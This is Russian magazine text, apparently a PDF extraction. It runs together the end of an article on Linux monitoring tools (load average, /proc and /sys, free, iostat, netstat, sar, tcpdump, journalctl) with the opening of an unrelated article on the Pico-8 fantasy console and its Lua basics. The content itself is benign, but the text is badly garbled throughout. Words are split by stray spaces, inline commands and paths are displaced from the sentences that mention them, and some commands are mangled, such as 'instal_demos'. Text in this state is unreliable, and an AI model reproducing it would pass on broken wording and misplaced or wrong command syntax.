озна чают  усреднен ное  количес тво про цес сов, сто ящих в оче реди за ресур‐ 
сами CPU, при чем взя тые в трех вре мен ных пери одах до текуще го момен та:
1 минуту,  5 минут  и  15 минут  назад. Даль ше,  чет вертая  колон ка — это раз‐ 
делен ные сле шем количес тво про цес сов, выпол няющих ся в сис теме сей час,
и количес тво про цес сов в сис теме вооб ще, а пятая — пос ледний выдан ный
сис темой PID. Так где же здесь под вох?

А под вох в  том, что это вер но для UNIX, но не для Linux. С виду все нор‐ 
маль но: если чис ла умень шают ся — наг рузка сни жает ся, если уве личи вают‐ 
ся —  рас тет.  Если  ноль —  сис тема  прос таивает,  если  рав на  чис лу  ядер —
зна чит, заг рузка под 100%, если в выводе десят ки и сот ни… стоп, что? Фор‐ 
маль но Linux учи тыва ет не толь ко про цес сы в ста тусе RUNNING, но и про цес‐ 
сы,  находя щиеся  в  UNINTERRUPTIBLE_SLEEP,  то  есть  висящие  на  вызовах
в ядро. Это зна чит, что на эти чис ла могут так же ока зывать вли яние I/O‐опе‐ 
рации, да и далеко не толь ко они, потому что вызовы в ядро не огра ничи вают‐ 
ся I/O. Пожалуй, я здесь оста нов люсь, а за под робнос тями рекомен дую прос‐ 
ледовать  вот  в  эти две статьи:  « »,  «

».
Как  счи тает ся  Load Average Load  Average

в Linux: раз гадка тай ны

ФАЙЛЫ, КОТОРЫХ НЕТ
Ес ли говорить сов сем откро вен но, в Linux основным источни ком информа ции
как о про цес сах,  так и о железе слу жит имен но фай ловая вир туаль ная фай‐ 
ловая  сис тема  ),  а  так же  .  И  у  них  доволь но
богатая и инте рес ная исто рия.

procfs  (/proc sysfs  (/sys)

Де ло в том, что одно из офи циаль ных положе ний иде оло гии UNIX гла сит:
«Всё есть файл», то есть вза имо дей ствие с любым сис темным ком понен том
теоре тичес ки  дол жно  вес тись  через  реаль ный  или  вир туаль ный  файл,  дос‐ 
тупный через обыч ное дерево катало гов. Эту идею до абсо люта довели в нас‐ 
ледни ке UNIX под наз вани ем Plan 9, где все про цес сы прев ратились в катало‐ 
ги  и  вза имо дей ство вать  с  ними мож но было даже пос редс твом  команд 
и  , пос коль ку они были тек сто выми. Имен но так появи лась фай ловая сис‐ 
тема procfs, которая поз же переко чева ла в Linux и BSD.

cat
ls

Но, как и в слу чае с load average, кон крет но в Linux есть свои тон кости (это
я так полит коррек тно называю адскую кашу‐малашу). Нап ример, линук совый

, воп реки наз ванию, с самого начала был уни вер саль ным интерфей сом
получе ния  информа ции  от  ядра  в  целом,  а  не  толь ко  от  про цес сов.  Более
того, имен но вза имо дей ство вать с про цес сами через эту сис тему прак тичес‐ 
ки не получа ется, толь ко извле кать информа цию по их PID’ам.

/proc

С  течени ем  вре мени  в    появ лялось  все  боль ше  и  боль ше фай лов,
содер жащих информа цию о самых раз ных под систе мах ядра, железе и мно‐ 
гом  дру гом.  В  конеч ном  ито ге  он  прев ратил ся  в  помой ку,  и  раз работ чики
решили вынес ти информа цию хотя бы о железе в отдель ную фай ловую сис‐ 
тему,  которую  к  тому  же  мож но  было  бы  исполь зовать  для  фор мирова ния
катало га  .  Так  и  появи лась    со  сво ей  стран ной  струк турой  катало‐ 
гов — ее труд но раз гре бать вруч ную, но она очень удоб на для авто мати чес‐ 
кого ана лиза дру гими при ложе ниями (такими как udev, который и фор миру ет
содер жимое катало га   на осно ве информа ции из  ).

/proc

/dev /sys

/dev /sys
В ито ге куча информа ции до сих пор дуб лиру ется в   и    прос то

потому, что, если выкинуть фай лы из  , мож но сло мать некото рые фун‐ 
дамен таль ные  сис темные  ком понен ты  (легаси!),  которые  до  сих  пор
не перепи саны.

/proc /sys
/proc

Ну а еще есть  , конеч но же. Это фай ловая сис тема, которая мон тиру‐ 
ется одной из пер вых и слу жит перева лоч ным пун ктом для дан ных ран тай ма
основных сис темных демонов, в час тнос ти udev и systemd (о нем погово рим
отдель но чуть поз же). Кста ти, сам про ект udev в 2012 году влил ся в systemd
и даль ше раз вива ется как его часть.

/run

В общем, как писал Льюис Кэр ролл, «все чудеса тее и чудеса тее».
Ну и ссы лоч ки почитать:   и « ».Procfs and sysfs Фай ловая сис тема /proc

Но  вер немся  к  нашим  замерам.  Для  того  что бы  смот реть,  какие  PID  прис‐ 
воены  про цес сам,  есть  коман ды    и    (из  одно имен ного  пакета,
более прод винутая вер сия top, заод но показы вает чер тову прор ву все го, ана‐ 
лог гра фичес кого дис петче ра задач).

pidstat htop

Кро ме того, коман да time поз воля ет запус тить про цесс, попут но изме рив
вре мя его выпол нения, точ нее, целых три вре мени:

$ time python3 ‐c "import time; time.sleep(1)"
python3 ‐c "import time; time.sleep(1)" 0.04s user 0.01s system 4% 
cpu 1.053 total

Как  выше  я  уже  про гово рил ся,  любая  прог рамма  может  про водить  раз ное
вре мя в kernel space и user space, то есть выпол няя вызовы в ядро или свой
собс твен ный  код.  Поэто му  при  базовом  взгля де  на  эти  циф ры  мож но
в  некото рых  слу чаях  уже  сде лать  вывод  об  узком  мес те  в  прог рамме:  если
пер вый  показа тель  силь но  выше,  то,  впол не  воз можно,  затык  в  I/O,  а  если
вто рой  —  то,  воз можно,  в  коде  есть  неэф фектив но  написан ные  кус ки,
которые сто ит зап рофили ровать под робнее.

А  вот  третье  вре мя,  total  time,  оно  же  wall  clock  time  или  real  time,  —
это вре мя, которое реаль но заняло выпол нение прог раммы с момен та запус‐ 
ка  до  момен та  воз вра та  управле ния.  Кста ти,  user  time  может  быть  силь но
боль ше  real  time,  потому  что  оно  рас счи тыва ется  как  сум ма  по  всем  ядрам
CPU. Если такое про исхо дит — зна чит, прог рамма неп лохо парал лелит ся.

Ну и напос ледок,  что бы пос мотреть заг рузку для  каж дого ядра в отдель‐ 
нос ти, мож но исполь зовать вот такую коман ду:

$ mpstat ‐P ALL 1

Ес ли  будут  силь ные  переко сы  в  заг рузке  ядер —  зна чит,  какая‐то  из  прог‐ 
рамм, нап ротив, парал лелит ся край не пло хо. А еди нич ка зна чит «обновляй‐ка
раз в секун ду».

ПОЛУЧШЕ, ЧЕМ У ЗОЛОТОЙ РЫБКИ
Что в науке, что в инжи нирин ге пери оди чес ки воз ника ет одна и та же «проб‐ 
лема» — нель зя прос то так взять и отве тить на, казалось бы, прос той воп рос.
Все потому, что есть нюан сы и тон кости, а зада ющий воп рос человек начина‐ 
ет  злить ся  и  говорить:  «Не  надо  мне  это го  все го,  ты  мне  циф ру  назови».
А потом зависа ет,  ког да вне зап но ока зыва ется, что раз ные ути литы показы‐ 
вают  абсо лют но  раз ные  зна чения,  ска жем,  для  раз мера  фай ла  или  для
количес тва дос тупной опе ратив ки…

Кста ти, об опе ратив ке. Пос коль ку это у нас железо, то мы можем пер вым
делом опять нахаль но прос ледовать в  :/proc

$ cat /proc/meminfo

…и получить кучу раз ных цифр, из которых боль шая часть абсо лют но непонят‐ 
на,  так  как  это  вооб ще  все  парамет ры  нашей  RAM,  которые  видит  ядро.
Поэто му луч ше все‐таки исполь зовать ста рую доб рую коман ду  :free

$ free ‐ht

Кста ти,  почему  мы  получа ем  информа цию  об  опе ратив ке  не  из  ,  как  я
опи сал  во  врез ке?  Да  потому  что  «пошел  ты,  вот  почему».  Вот  ссыл ка
на заметоч ку, в которой написа но, где там память в   и как с ней работать:

.  Если  крат ко  —  при дет ся  перем ножать
в уме и читать кучу раз ных фай лов.

/sys

/sys
How  memory  is  represented  in  sysfs

Как  ни  стран но,  есть  воз можность  получить  и  более  низ коуров невую
информа цию  об  опе ратив ке,  чем  .  Это  ути лита 
из одно имен ного пакета. Она обща ется непос редс твен но с BIOS и воз вра‐ 
щает даже име на вен доров‐про изво дите лей. Прав да, не всег да вер ные (осо‐ 
бен но  весело  запус кать  ее  под  гипер визором,  но  это  сов сем  дру гая  исто‐ 
рия).

/proc/meminfo dmidecode

$ sudo dmidecode ‐‐type 17

Кста ти,  top  и  htop,  как  и  баналь ный  ,  тоже  выводят  информа цию
о  занятой  памяти,  а  вто рой  еще  и  диаг рамму  в  ASCII  рису ет  по  ней  и  по
ядрам. Цвет ную. Лепота.

ps  aux

top

htop

Пер вые две колон ки оче вид ны:
PID — иден тифика тор про цес са;•
User — поль зователь, от которо го он запущен.•

А  вот  две  сле дующие  чуть  инте рес ней:  Priority  и  Niceness,  при чем  пер вая
в общем слу чае рав на вто рой + 20. По сути, Priority показы вает абсо лют ное
зна чение при ори тета про цес са в ядре, а Niceness показы вает зна чение отно‐ 
ситель но ноля (ноль обыч но наз нача ется по умол чанию). Этот самый при ори‐ 
тет  учи тыва ется  при  выдаче  про цес су  кван тов  про цес сорно го  вре мени,
поэто му,  фор маль но  говоря,  при  уве личе нии  при ори тета  коман дой 
мож но зас тавить какую‐нибудь силь но CPU‐bound задачу выпол нять ся чуточ‐ 
ку быс трее. Для про цес сов реаль ного вре мени в колон ке Priority будет сто ять
rt, то есть real time, «как толь ко — так сра зу».

renice

Даль ше сле дуют дан ные о памяти:
VIRT — вир туаль ная память, «обе щан ная» про цес су сис темой;•
RES  —  фак тичес ки  исполь зуемая  память  (кста ти,  бла года ря  механиз му
copy‐on‐write может быть нес коль ко (N) фор ков одно го и того же про цес са
с одним и тем же чис лом M в этой колон ке, что вов се не зна чит, что сож‐ 
рано N*M памяти, потому что они раз деля ют ее меж ду собой);

•

SHR  —  shared  memory,  то  есть  память,  которая  потен циаль но  может
исполь зовать ся для меж про цес сно го вза имо дей ствия.

•

Ну и сов сем базовые показа тели:
CPU% — сколь ко про цен тов CPU жрет про цесс;  лег ко может быть боль‐ 
ше 100%, если парал лелит ся на нес коль ко ядер;

•

MEM% — про цент памяти, пот ребля емой про цес сом;•
TIME+ — сколь ко вре мени про цесс бежит;•
COMMAND — какая коман да (прог рамма + аргу мен ты) запуще на.•

Но мы же хотим идти еще глуб же, надо боль ше под робнос тей!

$ vmstat 1

Здесь тоже мно го колонок, для прос тоты взгля нем на четыре:
r — раз мер оче реди про цес сов на дос туп к памяти;•
b — чис ло про цес сов в uninterruptible sleep;•
si/so — сколь ко стра ниц памяти в текущий момент пишет ся в своп / чита‐ 
ется из сво па.

•

На до ли явно под черки вать, что в иде аль ном мире в них дол жны быть ноли?

Продолжение статьи →
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НАДЗИРАЙ И ВЛАСТВУЙ
КАК УЗНАТЬ ВСЕ, ЧТО ПРОИСХОДИТ 

С ТВОЕЙ LINUX‐МАШИНОЙ

АДМИН  НАЧАЛО СТАТЬИ←

ГДЕ ХРАНИТЬ КОЛЛЕКЦИЮ ЛЮТНЕВОЙ МУЗЫКИ
Ес ли ты хоть раз раз мечал диск руками (нап ример, при уста нов ке Arch Linux),
то навер няка зна ешь о сущес тво вании ути литы  . С ее помощью про ще
все го пос мотреть раз делы на этом самом дис ке:

fdisk

$ sudo fdisk ‐l

Есть  ее  более  раз весис тая  вер сия  с  псев догра фичес ким  интерфей сом,
называ ется cfdisk, а так же еще пара ути лит, которые, на пер вый взгляд, дела‐ 
ют  весь ма  похожие  вещи  —  поз воля ют  управлять  раз делами  на  дис ках.
Это  parted  (к  которо му,  кста ти,  есть  неп лохой  GUI  на  GTK  в  лице  gparted)
и  gdisk.  Наличие  такого  зоопар ка  свя зано  с  тем,  что  сущес тву ет  нес коль ко
вари антов  струк туриро вания  раз делов  на  дис ке,  и  исто ричес ки  для  раз ных
вари антов  исполь зовались  раз ные  прог раммы.  Навер няка  ты  уже  встре чал
такие  аббре виату ры,  как  MBR  и  GPT.  Я  не  буду  под робно  оста нав ливать ся
на  раз личи ях,  но  почитать  мож но,  нап ример,  в  статье  «

». Там оно обсужда ется с позиции нас трой ки Windows,
но суть от это го не меня ется. И да, в сов ремен ном же мире  fdisk уже 
работать с обо ими вари анта ми, как и parted, поэто му выбирать мож но исклю‐ 
читель но из лич ных пред почте ний.

Срав нение  струк тур
раз делов GPT и MBR

уме ет

Но  вер немся  к  сбо ру  информа ции.  Мы  зна ем,  какие  у  нас  раз делы,
а  теперь  давай  взгля нем  на  дерево  фай ловой  сис темы,  точ нее,  что  куда
смон тирова но:

$ df ‐h

Как и рань ше,   тут отве чает за «челове чес кий» вывод раз меров. Ну и как ты
пом нишь, раз меры фай лов у нас мож но пос мотреть коман дой  :

‐h
du

$ du ‐h /path/to/folder

На вер няка  часть  читате лей  сей час  подума ла:  «Ну  что  за  баналь щина,
это даже школь ники  зна ют, давай  чего пос вежее». Лад но, давай прив несем
реал тай ма, как уже делали с опе ратив кой:

$ iostat ‐xz 1

Эта коман да выводит сред ние зна чения количес тва опе раций чте ния‐записи
для всех блоч ных устрой ств в сис теме, обновляя информа цию раз в секун ду.
Это  боль ше  «желез ные»  парамет ры,  поэто му  есть  еще  одна  коман да
для прос мотра ста тис тики  I/O поп роцес сно, и она, по ана логии, называ ется
iotop.

$ sudo iotop

При  попыт ке  запус ка  без  прав  root  она  нач нет  очень  мило  оправды вать ся,
что,  мол,  есть  один  такой  баг  CVE‐2011‐2494,  который  может  при водить
к  утеч ке  потен циаль но  важ ных  дан ных  от  одних  поль зовате лей  дру гим,
«поэто му нас трой‐ка ты, дру жочек, sudo». Оно и вер но.

ПАКЕТЫ БРАТЬ БУДЕТЕ?
Что еще из опе раций вво да‐вывода у нас оста лось? Пра виль но, сетевое вза‐ 
имо дей ствие. Здесь царит та еще чехар да — «офи циаль ные» ути литы меня‐ 
ются от релиза к релизу, что, с одной сто роны, кру то, потому что удобств ста‐ 
новит ся боль ше, с дру гой — надо пере учи вать ся каж дый раз.

Ска жем, какой ути литой смот реть сущес тву ющие в сис теме интерфей сы?
Кто  ска зал  ?  На  сов ремен ных  сис темах  ifconfig,  как  пра вило,  уже
вооб ще отсутс тву ет, ибо есть

ifconfig

$ ip a

Вро де  выг лядит  нем ного  по‐дру гому,  а  вро де  то  же  самое.  Кста ти,
для  управле ния  сетевы ми  мос тами  из  кон соли  час то  необ ходимо  ста вить
пакет  bridge‐utils.  Тог да  в  кон соль ке  появит ся  ути лита  ,  с  помощью
которой мож но будет их прос матри вать ( ), ну и менять. Но иног да
быва ет  по‐дру гому.  Мне  встре чал ся  слу чай,  ког да  брид жи  были,  а  brctl  их
не  показы вал. Ока залось,  что  для  их  соз дания  исполь зовал ся Open  vSwitch
и  кас томный  модуль  ядра,  для  нас трой ки  которо го  надо  взять  дру гую  ути‐ 
литу —  . Если вдруг у тебя окру жение на OpenStack, где эта шту ка
активно исполь зует ся, — может быть полез но.

brctl
brctl show

ovs‐vsctl

Даль ше — как нас чет таб лиц мар шру тиза ции? Как, говоришь,  ?
Нет,  мимо.  Сей час  чаще  исполь зуют ся    и  .  Ну
и самое баналь ное — как пос мотреть откры тые пор ты и про цес сы,  которые
их зап росили? Нап ример, вот так:

route ‐n
netstat  ‐nr ip  route  show

$ sudo netstat ‐tnlp

Но  думаю,  ты  уже  понял,  что  баналь щиной  мы  огра ничи вать ся  не  будем.
Давай  пос мотрим  теперь  в  реаль ном  вре мени,  как  пакеты  бега ют
по интерфей сам.

$ sar ‐n DEV 1

Да, sar — это еще одна отличная ути лита для монито рин га. Уме ет показы вать
не толь ко сетевые опе рации, но и дис ки и активность про цес сора. Почитать
о ней можешь, нап ример, в статье «

».
Прос той монито ринг сис темы с помощью

SAR
Так же sar поз воля ет монито рить откры тие/зак рытие соеди нений и рет ран‐ 

сми ты (это пов торные отправ ки тех же дан ных, ког да сетевое обо рудо вание
сбо ит  или  кон нект  край не  нес табиль ный,  очень  помога ет  траб лшу тить)
в реаль ном вре мени.

$ sar ‐1 TCP,ETCP 1

Ну  и  пос леднее —  конеч но,  по  поряд ку,  а  не  по  зна чению —  это  прос мотр
самого сетево го тра фика. Чаще все го для это го исполь зуют две ути литы: tcp‐
dump  и  wireshark.  Пер вая  —  кон соль ная,  ей  мож но,  к  при меру,  запус тить
прос лушива ние на всех интерфей сах и записать тра фик в дамп‐файл в фор‐ 
мате pcap:

$ tcpdump ‐w test.dump

Вто рая же — гра фичес кая. Из нее мож но точ но так же запус тить прос лушива‐ 
ние, а мож но прос то открыть в ней готовый файл дам па, сли тый с уда лен ного
сер вера. И нас лаждать ся кра сотой сло ев модели OSI (точ нее, TCP/IP).

Wireshark

ЕСЛИ ТЕБЯ ОКРУЖИЛИ ДЕМОНЫ — ЛОГИРУЙ ИХ
НЕМЕДЛЕННО!
Один  из  самых  прос тых  и  баналь ных  спо собов  про верить,  что  про исхо дит
в сис теме, — это пос мотреть сис темные логи. Вот   мож но почитать о том,
какие  сек реты  скры вают ся  в  катало ге    и  отку да  они  там  берут ся.
До недав него вре мени основным механиз мом записи логов был syslog, точ‐ 
нее,  его  отно ситель но  сов ремен ная  реали зация  rsyslog.  Она  до  сих  пор
активно исполь зует ся,  если  инте рес но  почитать,  где  там  что, — мож но  гля‐ 
нуть, нап ример,  .

тут
/var/log

сю да
А что в аван гарде? В сов ремен ных дис три бути вах Linux на осно ве systemd

исполь зует ся  свой механизм  логиро вания,  которым мож но  управлять  через
ути литу  journalctl.  Там есть  край не  удоб ная филь тра ция по раз ным парамет‐ 
рам и про чие плюш ки.  .Ссыл ка на хороший обзор

Сам  же  systemd  до  сих  пор  оста ется  доволь но  жар ким  топиком
для обсужде ния, пос коль ку  «под мина ет» под себя мно гие усто явши еся инс‐ 
тру мен ты  и  пре дос тавля ет  аль тер нативы  к  сущес тву ющим  решени ям.  Нап‐ 
ример,  как  запус кать  какой‐то  про цесс  регуляр но?  Crontab?  Вов се  не  обя‐ 
затель но,  теперь  у  нас есть  .  А  как  нас чет  нас трой ки  реак ций
на  сис темные  и  «желез ные»  события? В  systemd  есть  под дер жка  .
А что там со сме ной кор ня — ста рый доб рый chroot? Необя затель но, теперь
есть новень кий  .

systemd  timers
watchdog

systemd‐nspawn

ИНФОРМАЦИЯ — ЭТО НОВОЕ ЗОЛОТО
Ког да речь идет о компь ютер ных сис темах, всег да луч ше знать, чем не знать,
осо бен но в области инжи нирин га и инфо безо пас ности. Навер няка нас трой ка
сис темы  монито рин га  с  уве дом лени ями  зай мет  не  очень  мно го  вре мени
и при несет кучу поль зы, но воз можность зай ти руками на уда лен ный сер вер,
из  кон соли  за  пару  минут  диаг ности ровать  проб лему  и  пред ложить
решение — это осо бая  улич ная магия,  которая под властна далеко не всем.
Хорошо, что у  тебя теперь есть набор инс тру мен тов для подоб ных фокусов,
вер но?

https://habrahabr.ru/post/327572/
https://wiki.archlinux.org/index.php/Fdisk_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)
https://www.ibm.com/developerworks/ru/library/au-unix-perfmonsar/index.html
https://habrahabr.ru/post/332502/
https://losst.ru/nastrojka-rsyslog-v-linux
https://community.vscale.io/hc/ru/community/posts/115000051869-%D0%9B%D0%BE%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%B2-systemd
https://wiki.archlinux.org/index.php/Systemd/Timers_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)
http://0pointer.de/blog/projects/watchdog.html
https://wiki.archlinux.org/index.php/Systemd-nspawn_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)
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Ес ли  ты  ког да‐нибудь  пытал ся  сде лать  игру,  то  зна ешь,
как  это  неп росто  и  как  мно го  тре бует ся  вре мени  и  сил.
Но  так  было  не  всег да.  Pico‐8  и  дру гие  фэн тезий ные  рет‐ 
рокон соли  —  это  попыт ка  вер нуть  ста рые  вре мена,  ког да
игры делали на колен ке и получа ли от это го мак симум удо‐ 
воль ствия. Давай пос мотрим на Pico‐8 поб лиже, раз берем‐ 
ся, что и как дела ет сооб щес тво, и полюбу емся на кра сивые
дем ки, которые уме щают ся в твит.

Я  занимал ся  раз работ кой  игр  пос ледние  шесть  лет,  но  прош лой  зимой
открыл  для  себя  кое‐что  уди витель ное — мир фэн тезий ных  рет рокон солей.
Если  ты  не  зна ешь,  что  это  такое,  то  пред ставь  эму лятор  ста рой  прис тавки
или домаш него компь юте ра. Ну, нап ример, Super Nintendo или ZX Spectrum.
Теперь пред ставь, что этой машины никог да не сущес тво вало и всё, что у нас
есть, —  это  эму лятор. Добавь  к  нему  встро енный  редак тор  кода,  спрай тов,
карт,  зву ковых  эффектов  и  музыкаль ный  тре кер.  Готово!  Это  и  есть  рецепт
фэн тезий ной кон соли.

Од на  из  пер вых  (или  даже  пер вая)  фэн тезий ных  прис тавок —  это  .
Но  нас тоящую  популяр ность  обре ла  не  она,  а  ее  млад ший  брат —  .
Этот про ект начинал ся как редак тор кода для Voxatron, но ока зал ся нас толь ко
удач ным, что не прос то обрел самос тоятель ность и зат мил пред шес твен ника,
а перерос в целый феномен. За Pico‐8 пос ледова ли и дру гие фэн тезий ные
кон соли.  В  их  ,  кста ти,  есть  и  мой  (проб ный  и  ныне  заморо жен ный)
про ект —  .

Voxatron
Pico‐8

спис ке
neko8

INFO

Pico‐8  сто ит  15  дол ларов,  но  мно гие  фэн тезий‐ 
ные  кон соли  рас простра няют ся  бес плат но.  Нап‐ 
ример,    и  .  Они  еще  доволь но
сырые,  но  если  не  хочет ся  покупать  Pico‐8,  то
на них мож но взгля нуть.

LIKO‐12 TIC‐80

При этом Pico‐8 — это не «вещь в себе». Недав но появил ся замеча тель ный
при мер  популяр ной  игры,  соз данной  для  фэн тезий ной  кон соли  и  затем
покорив шей дру гие плат формы. Эта игра называ ется Celeste. Ее пер вую вер‐ 
сию двое раз работ чиков написа ли   все го за четыре дня. Поз же пол‐ 
ная вер сия будет  , пор тирова на на все сов ремен ные кон‐ 
соли и соберет вос торжен ные отзы вы кри тиков.

на Pico‐8
вы пуще на в Steam

ЛИМИТЫ
Что дела ет Pico‐8  такой осо бен ной и  чем,  если  говорить о  раз работ ке  игр,
она отли чает ся от  того же Unity? Как ни стран но,  лимита ми. Кон соль ста вит
очень  жес ткие  рам ки  для  раз работ ки.  По  некото рым  харак терис тикам  Pico‐
8 мож но срав нить с домаш ним компь юте ром вось мидеся тых:

дис плей 128 на 128 пик селей, под держи вает 16 цве тов;•
32 Кбайт памяти;•
че тыре зву ковых канала.•

С дру гой сто роны, отсутс твие огра ниче ний по про изво дитель нос ти и под дер‐ 
жка  Lua  в  качес тве  встро енно го  язы ка  прог рамми рова ния  дела ют  Pico‐
8 монс тром по срав нению с нас тоящи ми ста рыми машина ми.

Но  есть  и  дру гие  лимиты.  Один  из  самых  силь ных  —  мак сималь ное
количес тво токенов, которое сос тавля ет 8192. Токен — это тер мин, при шед‐ 
ший к нам от раз работ чиков язы ков прог рамми рова ния. Его бук валь ное зна‐ 
чение —  . В каж дом язы ке име ется свой набор
токенов, но Pico‐8 счи тает толь ко чис ла, сло ва, круг лые, квад ратные и фигур‐ 
ные  скоб ки  (они  счи тают ся  попар но,  то  есть  стро ка    име ет  в  себе  два
токена), а так же зна ки пре пина ния.

сим вол, обоз нача ющий что‐то

()

По чему  же  на  нас  нак ладыва ют  такой  жес ткий  лимит?  Он  тес но  свя зан
с дру гим огра ниче нием:  кар тридж не может содер жать более 65  тысяч зна‐ 
ков.  И  если  восемь  тысяч  токенов  еще  укла дыва ются  в  этот  лимит,  то  вот
девять уже могут и не помес тить ся.

Но в этом же и огромный плюс, то, за что я так люб лю эту малень кую кон‐ 
соль.  Ког да  тебе  при ходит ся  думать  о  том,  как  умес тить  свою  прог рамму
в  раз решен ные  раз меры,  ты  учишь ся  писать  опти маль ный  код  и  кре атив но
под ходить к решению каж дой задачи.

Возь мем для при мера игру  , соз данную  . Автор умуд рился
запих нуть  в  кар тридж  не  толь ко  динами чес кое  осве щение,  но  и  кучу  дру гих
механик, таких как невиди мые бло ки, дви гающиеся плат формы, вык лючате ли,
которые мож но акти виро вать на рас сто янии...

Dank tomB @krajzeg

Я думаю, сто ит уточ нить, что Pico‐8 не дает тебе никако го стар тового кода.
Ты не можешь под клю чить никакие биб лиоте ки и все дела ешь сам.

НЕБОЛЬШОЕ ПУТЕШЕСТВИЕ ПО PICO-8
Pico‐8 очень прос та в обра щении — нуж но выучить все го пару команд. Вряд
ли  тебя  сму тит  необ ходимость  исполь зовать  коман дную стро ку,  а  уж  встро‐ 
енные редак торы осво ить и того про ще. Но все же на вся кий слу чай прой дем‐ 
ся по основным момен там.

Итак,  пред положим,  что  ты  купил  Pico‐8  на  ,  ска чал
и  запус тил.  Тебя  встре чает  мига ющий  кур сор  тер минала.  Можешь  наб рать

, что бы уви деть пол ный спи сок команд.

офи циаль ном  сай те

help

Вир туаль ные кар трид жи
Каж дый про ект хра нит ся на кар трид же — спе циаль ном фай ле. Кон соль под‐ 
держи вает  два  фор мата  кар трид жей  —  тек сто вый  (.p8)  и  PNG  ( ).
Во вто ром слу чае при прос мотре фай ла ты уви дишь изоб ражение кар трид жа
и скрин шот сох ранен ной игры, а ее код будет спря тан внут ри.

.p8.png

То есть если ты возь мешь вот эту кар тинку (из вер сии статьи на сай те) и сох‐ 
ранишь к себе, то потом ты можешь заг рузить ее в Pico‐8 и запус тить игру.

Вот такое вот вол шебс тво сте ганог рафии!

Да вай уста новим нес коль ко демок:

instal_demos
cd /demos
ls

INFO

Лю бую пап ку мож но открыть в фай ловом менед‐ 
жере за пре дела ми Pico‐8, если написать 
.

fold‐
er

В  пап ке  с  кар трид жами  появит ся  под каталог  ,  в  котором  лежат  нес‐ 
коль ко при меров кар трид жей. Давай заг рузим кар тридж  .

demos/
jelpi.p8

load jelpi.p8
run

Кста ти,  что бы  быс тро  запус тить  заг ружен ный  кар тридж,  дос таточ но  нажать
Ctrl‐R.

Pico‐8 под держи вает до шес ти кно пок управле ния, наз начение которым зада‐ 
ет  кар тридж. Обыч но это стре лоч ки,  X  и Z/C. Что бы прек ратить  выпол нение
прог раммы на кар трид же, нуж но нажать Escape.

Те перь начина ется самое инте рес ное! Давай заг лянем «под капот» это го
плат форме ра.  Из  режима  тер минала  жмем  Escape  и  попада ем  в  режим
редак тирова ния  заг ружен ного  кар трид жа  (что бы  перек лючить ся  обратно,
сно ва жми Escape).

Мы можем изме нить здесь всё. Нап ример, в начале есть пара перемен ных:

‐‐ config: num_players 1 or 2
num_players = 1
corrupt_mode = false
max_actors = 128

Да вай изме ним зна чение   на   и запус тим кар тридж опять!
Лад но, может, не сто ило менять эту перемен ную...

corrupt_mode true

Этим  наши  воз можнос ти  не  огра ничи вают ся.  Помимо  редак тора  кода,
мож но  исполь зовать  и  все  осталь ные  —  перек лючай  вклад ку  и  уви дишь
спрай ты игры, кар ты, музыку и зву ки. Можешь менять всё, что пожела ешь!

PocketCHIP
Нес мотря на то что у Pico‐8 нет и не пред полага лось физичес кой фор мы, ее
воп лощени ем  мож но  счи тать  кар манную  прис тавку  .  Этот
одноплат ный  компь ютер  с  экра ном,  кон так тной  кла виату рой  и  батарей кой
пос тавля ется  сра зу  с  Pico‐8,  что  поз воля ет  кодить  или  играть  в  игры,  лежа
на даче в гамаке.

PocketCHIP

Увы,  у  соз дателей  PocketCHIP,  похоже,  какие‐то  неуря дицы:  сна чала  они
перес тали  при нимать  новые  заказы,  а  теперь  стра ница  магази на  и  вов се
недос тупна. Так что заиметь такую шту ку сей час мож но раз ве что на вто рич‐ 
ном рын ке. Будем наде ять ся, что ситу ация испра вит ся!

Продолжение статьи →

mailto:egordorichev@gmail.com
https://www.lexaloffle.com/voxatron.php
https://www.lexaloffle.com/pico-8.php
https://paladin-t.github.io/fantasy/index
https://egordorichev.itch.io/neko8
https://github.com/RamiLego4Game/LIKO-12/
https://github.com/nesbox/TIC-80
https://mattmakesgames.itch.io/celesteclassic
http://store.steampowered.com/app/504230/Celeste/
https://krajzeg.itch.io/dank-tomb
https://twitter.com/krajzeg
https://www.lexaloffle.com/pico-8.php
http://pico-8.wikia.com/wiki/P8PNGFileFormat
https://getchip.com/pages/pocketchip


PICO-8
ИГРАЕМ И КОДИМ НА ЛЕГЕНДАРНОЙ

ПРИСТАВКЕ, КОТОРОЙ НИКОГДА НЕ БЫЛО

GEEK  НАЧАЛО СТАТЬИ←

ПРАКТИКА
Хо рошо,  на  чужие  кар трид жи  мы  пос мотре ли,  теперь  давай  при дума ем
что‐нибудь свое! Я час то делаю неболь шие гра фичес кие экспе римен ты,  так
что поделюсь при мером раз работ ки одно го из них.

Вот что у меня получи лось в ито ге.

Те перь  раз берем,  как  это  было  сде лано.  Что бы  соз дать  новый  кар тридж,
исполь зуй коман ды   и  _.reboot save mycart

Да вай  нач нем  с  прос того:  в  Pico‐8  есть  четыре  спе циаль ные  фун кции,
которые будут вызывать ся в соот ветс тву ющих усло виях, если они опре деле‐ 
ны:

 вызыва ется в самом начале, пос ле заг рузки кода;• _init

 вызыва ется каж дый кадр перед  , отве чает за логику;• _update _draw

 вызыва ется каж дый кадр, отве чает за отри сов ку;• _draw

 — ана лог  , но, если она опре деле на, кар тридж будет
работать на 60 fps (вмес то 30 стан дар тных).

• _update60 _update

Ос таль ные полез ности мож но под смот реть  .в этой шпар галке
Вот  при мер  прос того  кар трид жа  (ком мента рии  на  рус ском,  не  пытай ся

вста вить их в редак тор Pico‐8).

function _init()
‐‐ инициализируем глобальные переменные
str="hello, world!"
t=0

end
function _update()
t+=0.01 ‐‐ обновляем время

end
function _draw()
cls() ‐‐ очищает экран
local y=cos(t)*16+64 ‐‐ высота, на которой будет нарисован текст
print(str,10,y) ‐‐ печатаем текст

end

  три гоно мет ричес кие  фун кции  в  Pico‐8  работа ют
в диапа зоне от нуля до еди ницы, а не от нуля до пи.
Важ ное  замеча ние:

WWW

Тем,  кто  не  зна ком  с  Lua,  могу  посове товать
замеча тель ную  ввод ную  статью 

.
Learn  Lua  in  15

Minutes

Да вай  при меним  наши  зна ния  три гоно мет рии  и  зас тавим  точ ку  вра щать ся
по кру гу.

function _draw()
cls()
local x=cos(t)*32+64 ‐‐ t — угол, 32 — радиус, 64 — центр
local y=sin(t)*32+64
